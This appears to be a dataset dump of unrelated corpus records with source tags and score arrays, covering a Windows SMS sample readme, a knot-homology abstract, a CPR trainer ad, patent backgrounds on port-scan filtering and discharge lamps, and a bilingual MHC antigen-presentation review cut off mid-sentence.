sample</h3>\n<ol>\n<li>Start Visual Studio Express&nbsp;2012 for Windows&nbsp;8 and select <b>File</b> &gt; <b>\nOpen</b> &gt; <b>Project/Solution</b>. ", "</li><li>Go to the directory in which you unzipped the sample. ", "Go to the directory named for the sample, and double-click the Visual Studio Express&nbsp;2012 for Windows&nbsp;8 Solution (.sln) file.", "\n</li><li>Press F7 or use <b>Build</b> &gt; <b>Build Solution</b> to build the sample. ", "</li></ol>\n<h3>Run the sample</h3>\n<p>To debug the app and then run it, press F5 or use <b>Debug &gt; Start Debugging</b>. ", "To run the app without debugging, press Ctrl&#43;F5 or use\n<b>Debug &gt; Start Without Debugging</b>.</p>\n<p>The SMS message send, receive, and SIM management sample requires access to the mobile broadband network adaptor. ", "For info about how to configure and access the mobile broadband network adaptor, see the\n<a href=\"http://msdn.microsoft.com/en-us/library/windows/hardware/hh852368.aspx\">\nMobile Broadband:Device Apps</a> white paper.</p>\n</div>\n\n</div>\n\n\n </div>\n</body>\n</html>\n" ]

{ "pile_set_name": "Github" }

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[ "---\nabstract: 'We show that the generalized Khovanov homology, defined by the second author in the framework of chronological cobordisms, admits a grading by the group $\\Z\\times\\Z_2$, in which all homogeneous summands are isomorphic to the unified Khovanov homology defined over the ring $\\Zpi:=\\ZpiLong$ (here, setting $\\pi$ to $\\pm 1$ results either in even or odd Khovanov homology). ", "The generalized homology has $\\scalars:=\\scalarsLong*$ as coefficients, and the above implies that most of automorphisms of $\\scalars$ fix the isomorphism class of the generalized homology regarded as $\\scalars$-modules, so that the even and odd Khovanov homology are the only two specializations of the invariant. ", "In particular, switching $\\permMM$ with $\\permSS$ induces a derived isomorphism between the generalized Khovanov homology of a link $L$ with its dual version, i.e. the homology of the mirror image $L^!$, and we compute an explicit formula for this map. ", "When specialized to integers it descends to a duality isomorphism for odd Khovanov homology, which was conjectured by A. Shumakovitch.'", "\nauthor:\n- Wojciech Lubawski\n- 'Krzysztof K. Putyra'\ntitle: |\n Mirror links have dual odd and generalized\\\n Khovanov homology\n---\n\nIntroduction {#sec:intro}\n============\n\nBasic definitions\n=================\n\nChronological cobordisms {#sec:cobs}\n------------------------\n\nThe generalized Khovanov complex {#sec:khov-def}\n--------------------------------\n\nChronological TQFTs and homology {#sec:tqft}\n--------------------------------\n\nThe new grading {#sec:s-degree}\n===============\n\nThe grading on chronological cobordisms {#sec:gradings}\n---------------------------------------\n\nThe grading on modules {#sec:decomp}\n----------------------\n\nInvariance revisited {#sec:invariance}\n====================\n\nApplications\n============\n" ]

{ "pile_set_name": "ArXiv" }

[ 0.0007096321787685156, 0.0012776008807122707, 0.0020337889436632395, 0.0006150449626147747, 0.002363602863624692 ]

[ "Mini Anne\n\nLearn core CPR skills in 30 minutes. ", "This innovative self-directed learning program allows families, friends and the general public – those who most likely would never attend a traditional CPR course and most often witness a cardiac arrest – to learn the core skills of CPR, or CPR-AED, in 30 minutes.", "\n\nOverview\n\nThe Mini Anne CPR and CPR-AED programs instruct the user in a “practice-while-watching” format with the aid of a 30 minute instructional DVD, a personal, inflatable manikin with integrated adult/child compression clicker and in some programs a simulated AED training device.", "\n\nBackground\n\nMore than 1 million people suffer from a Cardiac Arrest (CA) every year with 70% occurring at home. ", "If CPR is given immediately after arrest then the chance of survival can be doubled or even tripled. ", "This is why widespread CPR training is needed to increase the likelihood of bystander CPR being performed before the arrival of the Professional Emergency Services. ", "Whilst the typical bystander is either a family or friend of the CA victim they rarely attend a traditional CPR course.", "\n\nWhy Mini Anne?", "\n\n• Mini Anne has shown to be equally as effective in training core CPR skills compared to a traditional BLS course" ]

{ "pile_set_name": "Pile-CC" }

[ 0.0009657125920057297, 0.0006518404697999358, 0.0006380666163749993, 0.0011246262583881617, 0.0007412724080495536, 0.0006956284050829709, 0.001490099704824388, 0.0013100702781230211, 0.000683060206938535 ]

[ "Certain types of wireless communication networks, e.g., orthogonal frequency division multiplexed (“OFDM”) networks, are used to support cell-based high speed services such as those under certain standards such as the 3rd Generation Partnership Project (“3GPP”) and 3GPP2 evolutions, e.g., Long Term Evolution (“LTE”), the Ultra-Mobile Broadband (“UMB”) broadband wireless standard and the IEEE 802.16 standards. ", "The IEEE 802.16 standards are often referred to as WiMAX or less commonly as WirelessMAN or the Air Interface Standard. ", "Wireless communication networks, such as cellular networks, operate by sharing resources among the mobile terminals operating in the communication network. ", "As part of the sharing process, base stations and wireless gateways support wireless communications in a cell or region with multiple mobile terminals.", "\nBecause radio resources are shared and are finite, it is desirable to minimize the amount of unnecessary communications on the wireless radio network. ", "Such unnecessary wireless communications can result in wireless data communication environments where some third party device transmits unsolicited packets intended to probe mobile terminals or otherwise disrupt communications with the mobile terminals. ", "These undesired and unsolicited communications can take the form of transmission control protocol/internet protocol (“TCP/IP”) packets.", "\nFor example, “always on” data subscribers using mobile stations have active and dormant point-to-point protocol (“PPP”) sessions or sessions similar in function based on other similar protocols. ", "These PPP sessions are active when a mobile terminal sends data and stay active for a period of time after which the PPP session will go dormant. ", "These sessions are typically maintained in a dormant state so that subscribers' mobile terminals do not consume battery power and so that the wireless network is not consuming unnecessary radio resources. ", "When a mobile station receives data network “push services” where data is automatically sent to the mobile station without a specific request packet will quickly have access to these services, the PPP session becomes active and will stay active for a period of time. ", "Examples of valid “push services” include carrier supplied, enterprise specific and subscriber initiated push services.", "\nThose wishing to attack the wireless networks are aware of this arrangement and transmit unsolicited packets, such as port scan packets, that wake up the dormant PPP sessions and consume radio resources. ", "In addition, those wishing to gather information from a network may also transmit port scan packets or other packets, unaware that the terminating network is a mobile network, and this also wakes up dormant PPP sessions and consumes radio resources. ", "A “port scan” is a method used by an attacker to determine what services are running on a device or network. ", "When conducting a “port scan,” an attacker transmits requests on different TCP/IP logical ports and takes note of which ports respond in certain way. ", "TCP/IP logical ports typically map to applications so an attacker who knows which applications are accessible can use this information to map its attacks. ", "Accordingly, not only are port scans wasteful of radio resources, they are also potentially harmful to the mobile station.", "\nExamples of such undesired and potentially disruptive communications are discussed with reference to the prior art system shown in FIG. ", "1. ", "FIG. ", "1 shows a prior art system 10 in which a wireless gateway 12 is used to facilitate communications between mobile station 14 served by carrier wireless network 16, and remote device 18 on Internet 20. ", "Wireless gateway 12 includes hardware and software known in the art to route data packets, such as TCP/IP packets, sent from remote device 18 to mobile station 14, and vice versa. ", "In operation, wireless gateway 12 receives a data packet transmitted by remote device 18 over Internet 20 and passes the packet along to carrier wireless network 16 for transmission to mobile station 14. ", "Examples of wireless gateway 12 include Gateway General Packet Radio Service Support Nodes (“GGSN”), a Packet Data Serving Node (“PDSN”) and an Access Gateway (“AGW”). ", "A GGSN is a network node that works as a gateway between a General Packet Radio Service (“GPRS”) wireless data network and other networks such as a private network or the Internet. ", "PDSNs are typically used between Internet 20 and cdma2000 and other code division multiple access (“CDMA”)-based carrier wireless networks 16. ", "AGWs are used to provide access between Internet 20 and multi-service wireless networks, WiMax networks and wireless LANs.", "\nCarrier wireless network 16 includes base stations (not shown), authentication, authorization and accounting (“AAA”) servers (not shown), and other devices known in the art to provide wireless communications from wireless gateway 12 to mobile station 14. ", "Implementations of carrier wireless networks 16 include different components depending on the technology of the carrier wireless network, e.g., CDMA vs. global system for mobile (“GSM”) vs. universal mobile telephone system (“UMTS”) vs. WiMAX.", "\nMobile station 14 can be any mobile station known in the art that is capable of engaging in wireless data communications with gateway 12 via a supporting carrier wireless network 16. ", "Such devices include but are not limited to mobile phones, portable computing devices, stationary computing devices equipped with wireless communication network interface hardware and software, smartphones, personal digital assistants (“PDAs”). ", "Mobile station 14 includes the software, firmware and hardware, such as a central processing unit, volatile and non-volatile storage, user interface, display and communication circuitry to engage, in wireless communications using carrier wireless network 16. ", "Remote device 18 can be any computing device known in the art that is capable of transmitting and receiving a data packet, such as a TCP/IP packet, via Internet 20.", "\nExemplary undesirable known operation in which systems 10 facilitate port scanning in a manner which wastes and consumes wireless network resources on carrier wireless network 16 and, as a result, battery and processing resources on mobile station 14 is described with reference to FIG. ", "2. ", "In traditional and valid TCP connection establishment, a three-way handshake is used in which remote device 18 transmits a TCP SYN packet to mobile station 14. ", "Mobile station 14 responds with a TCP SYN-ACK acknowledgement packet to which remote device 18 responds with its own acknowledgement, often referred to as a TCP SYN-ACK-ACK packet. ", "In such a case, gateway 12 merely passively passes packets between remote device 18 and mobile terminal 14 without regard to intent.", "\nHowever, in a port scanning operation such as is shown in FIG. ", "2, merely passing packets between remote device 18 and mobile terminal 14 results in a waste of carrier wireless network 16 resources. ", "Initially, remote device 18 transmits TCP SYN packet destined for mobile station 14 (step S100). ", "Gateway 12 receives the TCP SYN packet (step S100) and transmits the TCP SYN packet to mobile station 14 (step S102) via carrier wireless network 16. ", "Not knowing that the TCP SYN packet is intended merely as a port scan, mobile station 14 awakens if it is dormant and transmits a TCP SYN packet back to gateway 12 (step S104). ", "Having no knowledge of the port scanning intent, gateway 12 then transmits the TCP SYN packet to remote device 18 (step S106). ", "The malicious port scanning complete, remote device 18 either does nothing further with respect to mobile station 14 and leaves the three-way handshake incomplete, or transmits a reset (“RST”) packet (step S108) which is received by gateway 12 and, in a further waste of carrier wireless network 16 resources, transmitted in turn to mobile station 14 (step S110). ", "It is therefore desirable to have an arrangement under which port scanning can be blocked to prevent the unnecessary consumption of wireless network resources.", "\nAs another example, remote device 18 may not even attempt malicious communication through the veil of an aborted port scan. ", "Remote device 18 may simply send an unsolicited packet that is not a session establishment, e.g., TCP SYN, packet. ", "An example of such communication and its resultant waste of carrier wireless network 16 radio resources is explained with reference to FIG. ", "3. ", "Initially, remote device 18 transmits a TCP, connectionless user datagram protocol (“UDP”) or other unsolicited data packet addressed to mobile station 14 (step S112). ", "Gateway 12 receives this data packet and simply forwards it without analysis to mobile station 14 (step S114). ", "Mobile station 14 receives the data packet and, because the packet is either not for a service supported by mobile station 14, or not based on a validly established connection and communication session, drops the packet (step S116). ", "Under this arrangement, wireless radio resources are consumed unnecessarily due to the transmission of the packet from wireless gateway 12 to mobile station 14. ", "Further, if mobile station 14 was dormant, it was unnecessarily awakened, thereby causing the wasteful consumption of battery power. ", "It is therefore desirable to have an arrangement under which unsolicited packets are evaluated and dropped prior to transmission to mobile station 14." ]

{ "pile_set_name": "USPTO Backgrounds" }

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[ "This invention relates to high-intensity-discharge lamps and, more particularly, to such a lamp which utilizes a special discharge-sustaining filling of predetermined proportions of mercury and cadmium, in addition to a red-emitting phosphor coated on the protective envelope, in order to provide excellent color rendition of illuminated objects.", "\nHigh-pressure mercury-vapor lamps which have a light emission modified by the use of phosphor mixtures are well-known and one embodiment of such a lamp is described in U.S. Pat. ", "No. ", "4,065,688, dated Dec. 27, 1977 to W. A. Thornton, the present applicant. ", "The phosphors utilized include red-emitting yttrium vanadate or yytrium phosphate vanadate activated by trivalent europium. ", "Another embodiment of such a lamp is described in U.S. Pat. ", "No. ", "3,602,758, dated Aug. 31, 1971 to Thornton et al.", "\nA method for preparing red-emitting yytrium vanadate phosphor activated by trivalent europium is disclosed in U.S. Pat. ", "No. ", "3,630,946, dated Dec. 28, 1971 to Ropp et al and such phosphor is now well known.", "\nIt is known to use cadmium vapor as a discharge-sustaining medium in a fluorescent lamp, as taught in French Pat. ", "No. ", "1,488,562 Del. Date June 5, 1967.", "\nCadmium-mercury amalgams have been used as discharge-sustaining medium in highly loaded fluorescent lamps, as disclosed in U.S. Pat. ", "No. ", "3,263,111, dated July 26, 1966.", "\nCadmium has been used as the discharge-sustaining constituent in high-intensity discharge lamps, as disclosed in U.S. Pat. ", "No. ", "3,657,590, dated Apr. 18, 1972." ]

{ "pile_set_name": "USPTO Backgrounds" }

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[ "INTRODUCTION\n============\n\nA central role for MHC in the immune response to protein antigens was suggested in the 1970 when experimental evidence showed that T lymphocytes recognize portions of antigens (peptides) only when bound non-covalently to products of the HLA genes. ", "Crystallographic analysis of the HLAI molecule carried out in 1987^(^ [@B1] ^)^disclosed how these peptides nest in the external part of the molecule, that is, in the peptide-binding groove.", "\n\nPART 2 − PEPTIDE GENERATION: PROCESSING, MECHANISMS OF DIVERSITY, AND ALTERNATIVE SOURCES FOR PRESENTATION\n==========================================================================================================\n\nBroadly, proteins are degraded inside cells, and peptides derived through this processing are coupled to HLA molecules and transported to the cell surface. ", "HLAI and HLAII molecules transport peptides produced in different cellular compartments (proteasomes and endosomes, respectively), in which different proteolysis strategies employed generate the variety of peptides needed for an efficient presentation and recognition by T cell receptors. ", "HLA plus peptide on one side bound to T-cell receptor on the other forms the trimolecular complex, which initiates and confers the necessary specificity to the effector immune response.^(^ [@B2] ^)^\n\nPeptide presentation via HLAI (2)\n---------------------------------\n\nThe profile of peptides eluted from HLAI confirms the same molecule can present diversified sequences (approximately 10,000 distinct peptides per cell). ", "Furthermore, the array of peptides presented by each HLA molecule varies according to the binding motif displayed by the respective grooves.^(^ [@B3] ^,^ [@B4] ^)^The bewildering variety of peptides is mainly produced in the cytosol, within the proteasomes, multi-component complex structures capable of enzymatic proteolysis, and are therefore of endogenous origin.^(^ [@B2] ^)^ Peptide diversity is further increased by proteasome component substitution during the immune response that leads to production of novel peptide fragments.^(^ [@B5] ^)^\n\nProteins involved in the cellular metabolism are synthesized in the endoplasmic reticulum, and when unnecessary or defective (called DRiPs, for Defective Ribosomal Proteins) that is, truncated or altered due to misfolding or erroneous translation^(^ [@B6] ^)^ are coupled to ubiquitin units.^(^ [@B7] ^-^ [@B9] ^)^The ubiquitin tail transfers the tagged proteins to proteasomes for processing inside the catalytic center to 9 amino acid-long fragments. ", "Other components of the proteasome complex carry out binding and unfolding of ubiquitin-tagged proteins in preparation for their fragmentation.^(^ [@B10] ^)^This major protein degradation pathway has been shown to be a fundamental and universal cell function, and its discoverers, A. Ciechanover, A. Hershko, and I. Rose, were awarded the 2004 Chemistry Nobel Prize.", "\n\nPeptides surviving the proteasomal processing are translocated into the endoplasmic reticulum by the TAP (for Transporter associated with Antigen Processing) heterodimer.^(^ [@B11] ^)^The assembly of a HLAI molecule, its folding, and coupling of the peptide are complex processes which occur only with help of accessory proteins acting as chaperones.^(^ [@B11] ^)^ The list includes calnexin that confers stability and ERp57 (a disulfide isomerase) that helps to bind beta-2 microglobulin. ", "Calreticulin then replaces calnexin and together with ERp57 and tapasin will form a peptide-loading complex (PLC) in charge of loading and favoring the correct insertion of peptides unto the nascent HLAI molecule.^(^ [@B12] ^,^ [@B13] ^)^Tapasin also serves as the bridge between the PLC and peptide-carrying TAP.^(^ [@B13] ^)^Finally, endoplasmic reticulum-associated amino peptidases (ERAP1 and ERAP2) carry out the fine tuning trimming peptides to the 8 to 10 amino acid size ideal for coupling to HLAI.^(^ [@B14] ^)^ Finally, the stable trimmer made up of the α heavy chain, β2- microglobulin, and peptide can be transported through the Golgi for glycosylation and arrival on the cell surface. ", "This is the principal route for class I antigen presentation, and when devoid of peptides, HLAI exhibits a very short half-life and is rapidly degraded. ", "In other words, empty HLA molecules are the exception.", "\n\nThis route of antigen processing, called cytosolic or endogenous, is excellently suited for viral peptide presentation when the cell is infected, as viruses employ the cellular machinery to produce their own proteins and new virus particles. ", "However, studies have shown that their presentation is even more efficient than that of other peptides (1.5 hour instead of 8 hours as usual). ", "This rapid degradation is made possible because viral proteins are seen as DRiPs by the cell.^(^ [@B2] ^,^ [@B15] ^)^ The cytotoxic response (via CD8+ T lymphocytes) against viruses is an essential feature of defense by the infected organism, and is frequently targeted by the invading pathogen with immune evasion strategies. ", "Examples are cytomegalovirus, herpes simplex virus, and human immunodeficiency virus, which synthesize proteins capable of interrupting the flow of peptides, blocking TAP and even synthesis of class I molecules.^(^ [@B16] ^)^\n\nIn addition to the processing described above, several others are operating, including some recently identified, which add to the variety of peptides generated and presented. ", "A list of these extra features follows:\n\n1. ", " different speeds in transport of HLAI molecules to the cell surface, where HLA-B exhibits the best efficiency;^(^ [@B17] ^)^\n\n2. ", " presentation by HLA-E (non-classical) of peptides derived from classical HLAI leader sequences for recognition by CD94/NKG2A receptors on natural killer (NK) cells;^(^ [@B18] ^)^\n\n3. ", " presentation by HLA-G (non-classical) at the maternal-fetal interface, in which classical HLAI expression is very low, for recognition by KIR2DL4 receptors on NK cells;^(^ [@B19] ^,^ [@B20] ^)^\n\n4. ", " presentation not of peptides, but of glycolipids by CD1 (a-d) molecules (belonging to the HLA family) for recognition by a subpopulation of γδ T cells;^(^ [@B21] ^,^ [@B22] ^)^\n\n5. ", " exchange of proteasome components, in the presence of interferon-γ secreted by activated T cells. ", "Components of the 20S subunit are substituted to constitute a transient immunoproteasome, capable of producing more immunogenic peptides;^(^ [@B23] ^,^ [@B24] ^)^\n\n6. ", " neo-peptide formation by the ligation of two smaller fragments during their passage through the proteasome. ", "These peptides are immunogenic and considered to be an additional mechanism for tumor cell recognition by cytotoxic T lymphocytes;^(^ [@B2] ^)^\n\n7. ", " alternative peptide formation by unconventional proteases like thimet oligopeptidase or angiotensin-converting enzyme;^(^ [@B25] ^,^ [@B26] ^)^\n\n8. ", " changes in the peptidome due to modified messenger RNA transcription patterns operated by micro-RNAs^(^ [@B27] ^)^ or to immunogenic peptides produced from deliberately truncated messenger RNA;^(^ [@B28] ^)^\n\n9. ", " peptide transfer between cells through the gap junctions;^(^ [@B29] ^)^\n\n10. ", "cross-presentation of peptides from exogenous sources^(^ [@B30] ^)^ or transported into the cell by Hsp70.^(^ [@B31] ^)^\n\nPeptide presentation via HLAII\n------------------------------\n\nIn spite of the great structural similarity and shared function of antigen presentation, HLAI and HLAII exhibit important differences in expression profile and source of peptides loaded, leading to a very different role in the adaptive immune response.", "\n\nIn HLAII molecules, the groove will also be usually filled with a peptide, but now resulting from processing of exogenous antigens transferred into the cell (internalized) in specialized antigen processing cells (APC). ", "B lymphocytes internalize proteins in a unique way, capturing them by binding to cell surface immunoglobulin, namely, the B cell receptors.^(^ [@B32] ^)^ Dendritic cells and macrophages are capable of internalizing not only extracellular pathogens but also particulate matter, resulting from cellular necrosis, immune complexes, complement-opsonized cell fragments, and apoptotic bodies, all additional sources of material foreign to the organism or of self-proteins to be presented by HLAII.^(^ [@B33] ^)^\n\nNovel forms of antigen capture recently identified include binding to DEC205, a receptor capable of transporting antigen directly to late endosomes in which the final assembly with HLAII is carried out;^(^ [@B34] ^)^trogocytosis, in which plasma membrane fragments are exchanged between cells;^(^ [@B35] ^)^intercellular transfer by exosomes,^(^ [@B36] ^)^ also a source of tumor antigens to be targeted by cytotoxic T cells,^(^ [@B37] ^)^ and autophagy.^(^ [@B3] ^,^ [@B38] ^)^Autophagosomes as well as endocytosis of cytosolic and nuclear proteins (microautophagy) are important sources increasing the offer of proteins to be presented.^(^ [@B3] ^)^\n\nActivation and ensuing maturation of the phagosome or autophagosome occurs when pathogen-associated or damage-associated molecular patterns (PAMPs and DAMPs, respectively) are recognized by specific Toll-like receptors (for example, TLR4 or TLR9)^(^ [@B39] ^)^ and is necessary for fusion with lysosomes. ", "During digestion by the lysosomal enzymes fragments of different sizes, usually around 25 amino acids and therefore longer than those produced by proteasomal degradation, are generated. ", "Trimming will reduce these peptides to 14 or 15 residues.^(^ [@B40] ^)^ Several factors will influence the peptides available for presentation. ", "As expected, abundant proteins have increased chances of providing peptides. ", "Lysosomal enzymes, like carboxypeptidase and cathepsins, cleave proteins preferably on dibasic arginine and lysine sites^(^ [@B41] ^)^ and peptides presented by HLAII frequently carry a N-terminal proline due to N-aminopeptidase activity.^(^ [@B42] ^)^ These peptides will be coupled to HLAII during the formation of a late endosomal compartment known as MIIC.^(^ [@B43] ^)^\n\nPeptide transport is quite different from the one described for HLAI, in spite of the fact that all MHC chains are synthesized and their αβ heterodimers formed in the endoplasmic reticulum. ", "We have seen that class I molecules receive their peptides while still in the reticulum being stabilized with help from the PLC. ", "In contrast, class II molecules must be transferred to the phagolysosome for final assembly. ", "To acquire the necessary stability for this transfer, coupling to a third protein, the invariant gamma chain takes place. ", "In addition to directing the HLAII to the MIIC compartment,^(^ [@B44] ^)^ part of the invariant chain covers the groove, blocking the access of TAP-transported peptides destined for class I presentation.^(^ [@B45] ^)^\n\nOnce the endosomal compartment is reached, the invariant chain is digested by catepsin B,^(^ [@B46] ^)^ leaving behind only the fragment covering the groove known as CLIP (Class II − associated Invariant chain Peptide).^(^ [@B47] ^)^ The substitution of any other peptide for CLIP is catalyzed by the class II heterodimer HLA-DM,^(^ [@B48] ^,^ [@B49] ^)^ which also acts as chaperone to class II molecules, maintaining the structure intact while the exchange takes place.^(^ [@B50] ^)^ In B lymphocytes, HLA-DO further influences the efficiency of HLA-DM as a peptide acceptor by inhibiting its activity in neutral pH. Upon reaching the endolysosomal compartment in which pH is 4.5, HLA-DM function is restored opening way for binding of peptides from extracellular origin.^(^ [@B51] ^)^ The peptide exchange goes on until a high affinity peptide is bound to the groove, forming a stable complex that can be transported to the cell surface of the APC. ", "The complex process of transporting the HLAII/peptide trimmer will need further assistance from tetraspanin family proteins CD63 and CD81^(^ [@B52] ^)^ that assist in moving through the multilamellar and multivesicular MIIC endosomes.^(^ [@B52] ^,^ [@B53] ^)^\n\nANTIGEN PRESENTATION: DIVERSITY AND EFFICIENCY OF THE TRIMOLECULAR COMPLEX\n==========================================================================\n\nThe concept of antigen presentation was initially outlined based on a series of studies carried out in the 1970 that opened way for the pioneering work done by Zinkernagel and Doherty^(^ [@B54] ^)^ for which they received the 1996 Nobel Prize. ", "Today, we know that T lymphocytes are capable of recognizing antigens solely when present on the cell surface. ", "These originate from all types of sources such as intracellular bacteria and viruses, by-products of cell metabolism, self and foreign proteins and lipids. ", "All these antigens are captured, processed, and presented in the form of mainly peptide fragments by the HLA family of glycoproteins.", "\n\nOverall, antigen presentation can explain different events such as thymic education, response against infection, transplant rejection, autoimmunity, and tumor immunity. ", "It is therefore a highly relevant topic in immunology and still of great interest in research.", "\n\nRecent studies have also clarified the role of peptide production and presentation on the quality of T lymphocyte responses.^(^ [@B55] ^)^ According to the type of cell in charge of presenting antigen, the number of a specific peptide presented on each cell, the quantity and type of co-stimulatory molecules, the type and condition of the tissue where this cell located, the complexity and variety of the peptides presented, and the T cell receptor binding affinity for that particular peptide/HLA complex, the response elicited may result in different cytokine production profiles and specific response patterns by individual cells or subpopulations. ", "Furthermore, these response patterns are influenced by the genetic background of each person.", "\n\nOf note, when compared to the smaller closed groove of the HLAI the open HLAII groove is more permissive to peptide substitutions even when the molecule is already stable and anchored on the cell surface. ", "In fact, as the usual peptides are longer than the class II groove, which accepts 9 amino acids in an extended conformation, flanking amino acids will be freely exposed on the surface.^(^ [@B56] ^)^ It becomes thus understandable that recognition by the T cell receptor on the surface of the CD4+ T cells is very plastic and includes not only the borders of the HLA molecule but also regions of the peptides both inside and outside the groove.", "\n\nIn summary, phagocytic cells respond differentially to their internalized content, inducing inflammatory or suppressive responses locally. ", "The central role in orchestrating humoral and cellular immune responses confers a unique importance to the HLAII/peptide complex to be recognized by the CD4+ T cells. ", "Antigen recognition leads to activation, clonal expansion, and differentiation of lymphocytes involved in the process, increasing the population of effector lymphocytes and spurring maintenance of some long-lived cells that will form the immunological memory.", "\n\nThe sum of the gene polymorphism present in the molecules involved in adaptive immune responses and the diversity in the processing and peptide presentation, allied to the mechanisms of gene rearrangement that produce the highly diversified T cell repertoire translates into a unique and highly efficient system of antigen recognition and effective immune response.", "\n\n**Note**: Due to publishing constraints innumerable references have not been included in this review of a topic under close examination for the past 40 years. ", "We hope all researchers with significant contributions to the subject have been cited at some point of the text.", "\n\nRevendo Ciências Básicas\n\nEstrutura do MHC e função − apresentação de antígenos. ", "Parte 2\n\nGoldberg\n\nAnna Carla\n\n1\n\nRizzo\n\nLuiz Vicente\n\n1\n\nHospital Israelita Albert Einstein, São Paulo, SP, Brasil.", "\n\nAutor correspondente: Anna Carla Goldberg − Avenida Albert Einstein, 627/701, 2ss, bloco A -- Morumbi − CEP: 05651-900 -- São Paulo, SP, Brasil − Tel.: (", "11) 2151-1233 E-mail: goldberg\\@einstein.br\n\nA segunda parte desta revisão trata das moléculas e processos envolvidos no processamento e apresentação dos fragmentos antigênicos ao receptor de célula-T. Apesar de variar a natureza do antígeno apresentado, a classe mais significativa é a das proteínas, as quais são processadas dentro da célula para enfim serem reconhecidas na forma de peptídeos, o que confere um grau extraordinário de precisão a essa forma de resposta imune. ", "A eficiência e a precisão desse sistema se devem também à miríade de mecanismos envolvidos no processamento de proteínas e produção de peptídeos, além da captura e reciclagem de fontes alternativas de antígenos com o objetivo de gerar ainda maior diversidade na apresentação à célula-T.\n\nComplexo principal de histocompatibilidade\n\nApresentação do antígeno\n\nGenes HLA\n\nResposta imune\n\nINTRODUÇÃO\n==========\n\nO papel central do MHC na resposta imune a antígenos proteicos foi sugerido na década de 1970, quando evidências experimentais demonstraram que os linfócitos T reconhecem porções de antígenos (peptídeos) apenas quando ligados de forma não covalente a produtos dos genes HLA. ", "A análise cristalográfica da molécula de HLA de classe I (HLAI), realizada em 1987,^(^ [@B1] ^)^ revelou como esses peptídeos se aninham na parte externa da molécula, ou seja, no sulco de ligação de peptídeos.", "\n\nPARTE 2 − GERAÇÃO DE PEPTÍDEOS: PROCESSAMENTO, MECANISMOS DE DIVERSIDADE E FONTES ALTERNATIVAS PARA APRESENTAÇÃO\n================================================================================================================\n\nDe maneira geral, as proteínas são degradadas dentro das células, e os peptídeos derivados desse processo são acoplados às moléculas de HLA e transportados para a superfície celular. ", "As moléculas HLA de classe I e II (HLAII) transportam peptídeos produzidos em compartimentos celulares distintos (proteassomos e endossomos, respectivamente), nos quais as diferentes estratégias de proteólise usadas geram a variedade de peptídeos necessários para uma apresentação eficiente para o reconhecimento pelos receptores de células T. O HLA com peptídeo de um lado, ligando-se ao receptor de célula T do outro, forma o complexo trimolecular que desencadeia e confere a especificidade da resposta imune efetora.^(^ [@B2] ^)^\n\nApresentação de peptídeos via HLAI (2)\n--------------------------------------\n\nO perfil de peptídeos eluídos de HLAI confirma que uma mesma molécula pode apresentar sequências diversificadas (aproximadamente 10 mil peptídeos distintos por célula). ", "Ademais, o perfil de peptídeos apresentados por cada molécula varia conforme o padrão da fenda da molécula HLA.^(^ [@B3] ^,^ [@B4] ^)^Essa variedade desconcertante de peptídeos é produzida principalmente no citosol, dentro dos proteassomos, estruturas complexas de múltiplos componentes capazes de realizar proteólise enzimática, e são, então, de origem endógena.^(^ [@B2] ^)^ A diversidade de peptídeos é aumentada ainda mais pela substituição de componentes do proteossomo, durante a resposta imune, que leva à produção de novos fragmentos peptídicos.^(^ [@B5] ^)^\n\nAs proteínas envolvidas no metabolismo celular são sintetizadas no retículo endoplasmático e, quando desnecessárias ou defeituosas (chamadas DRiPs, (*Defective Ribosomal Proteins*), ou seja, truncadas ou alteradas em função de erros no dobramento das proteínas ou em sua tradução,^(^ [@B6] ^)^ são acopladas a unidades de ubiquitina.^(^ [@B7] ^-^ [@B9] ^)^A cauda de ubiquitinas orienta o transporte para um complexo enzimático no citoplasma, o proteassoma, para processamento no seu núcleo catalítico, gerando fragmentos com nove aminoácidos de comprimento. ", "Outros componentes desse complexo proteossomal realizam a ligação e o desdobramento de proteínas marcadas com ubiquitina, em preparação para sua fragmentação.^(^ [@B10] ^)^Essa importante via de degradação de proteínas tem mostrado ser uma função fundamental e universal da célula, e seus descobridores, A. Ciechanover, A. Hershko e I. Rose, receberam o Prêmio Nobel de Química, em 2004.", "\n\nOs peptídeos que sobrevivem ao processamento nos proteossomos são transferidos para o retículo endoplasmático pelo heterodímero TAP (*Transporter associated with Antigen Processing*).^(^ [@B11] ^)^A montagem de uma molécula de HLAI, seu dobramento, e o acoplamento do peptídeo são processos complexos, que ocorrem apenas com o auxílio de proteínas acessórias que agem como chaperonas.^(^ [@B11] ^)^ A lista inclui calnexina, que confere estabilidade e ERp57 (uma dissulfeto isomerase), que ajuda a ligação da beta-2 microglobulina. ", "A calreticulina, então, substitui a calnexina e, junto de ERp57 e da tapasina, deve formar o complexo de carga de peptídeos (PLC - *peptide-loading complex*) encarregado de introduzir o peptídeo e favorecer sua inserção correta na molécula HLAI nascente.^(^ [@B12] ^,^ [@B13] ^)^A tapasina também serve de ponte entre PLC e TAP, que fornece os peptídeos.^(^ [@B13] ^)^Finalmente, as peptidases associadas ao retículo endoplasmático (*endoplasmic reticulum-associated amino peptidases* − ERAP1 e ERAP2) efetuam o ajuste fino aparando os peptídeos até o tamanho de 8 a 10 aminoácidos, ideal para o acoplamento a HLAI.^(^ [@B14] ^)^ Finalmente, o heterodímero estável, constituído por cadeia pesada α, β2-microglobulina e peptídeo, é transportado através do complexo de Golgi para sua glicosilação e posterior chegada à superfície celular. ", "Esta é a principal via para a apresentação de antígenos de classe I, e na ausência de peptídeos, HLAI exibe uma meia-vida muito curta, sendo rapidamente degradado. ", "Em outras palavras, as moléculas vazias de HLA são a exceção.", "\n\nEssa via de processamento de antígenos, chamada de citosólica ou endógena, é perfeitamente adequada para a apresentação de peptídeos virais quando a célula é infectada, já que os vírus empregam a maquinaria celular para produzir suas próprias proteínas e novas partículas virais. ", "Entretanto, alguns estudos demonstraram que sua apresentação é até mais eficiente que a de outros peptídeos (1,5 hora em vez de 8 horas, que é o usual). ", "Essa rápida degradação é possível porque proteínas virais são vistas como DRiPs pela célula.^(^ [@B2] ^,^ [@B15] ^)^ A resposta citotóxica (via linfócitos T CD8+) contra vírus é um aspecto essencial da defesa pelo organismo infectado e é frequentemente alvo de processos de evasão imune orquestrados pelo patógeno invasor. ", "Há vírus (exemplos: citomegalovírus, herpes-vírus simples ou da imunodeficiência humana) que sintetizam proteínas capazes de interromper o fluxo de peptídeos, de bloquear a proteína TAP ou a produção de moléculas de classe I.^(^ [@B16] ^)^\n\nAlém dos processos já descritos, há outros, vários dos quais identificados recentemente, responsáveis pela diversificação adicional tanto da apresentação por HLA de classe I quanto da geração dos peptídeos. ", "Segue abaixo uma lista dessas vias 